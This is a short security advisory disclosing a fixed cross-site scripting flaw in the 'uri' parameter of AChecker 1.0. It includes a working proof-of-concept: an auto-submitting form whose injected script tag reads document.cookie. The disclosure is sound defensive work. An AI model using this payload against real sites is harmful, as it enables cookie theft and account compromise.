Vulnerability ID: HTB22601 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_achecker.html Product: AChecker Vendor: Inclusive Design Institute ( http://www.atutor.ca/ ) Vulnerable Version: 1.0 Vendor Notification: 01 September 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input in "uri" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/index.php" method="post" name="main" enctype="multipart/form-data" > <input type="hidden" name="uri" value='http://1"><script>alert(document.cookie)</script>' /> <input type="hidden" name="validate_uri" value="Check It" /> <input type="hidden" name="MAX_FILE_SIZE" value="52428800" /> <input type="hidden" name="uploadfile"; filename="" /> <input type="hidden" name="gid[]" value="8" /> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent version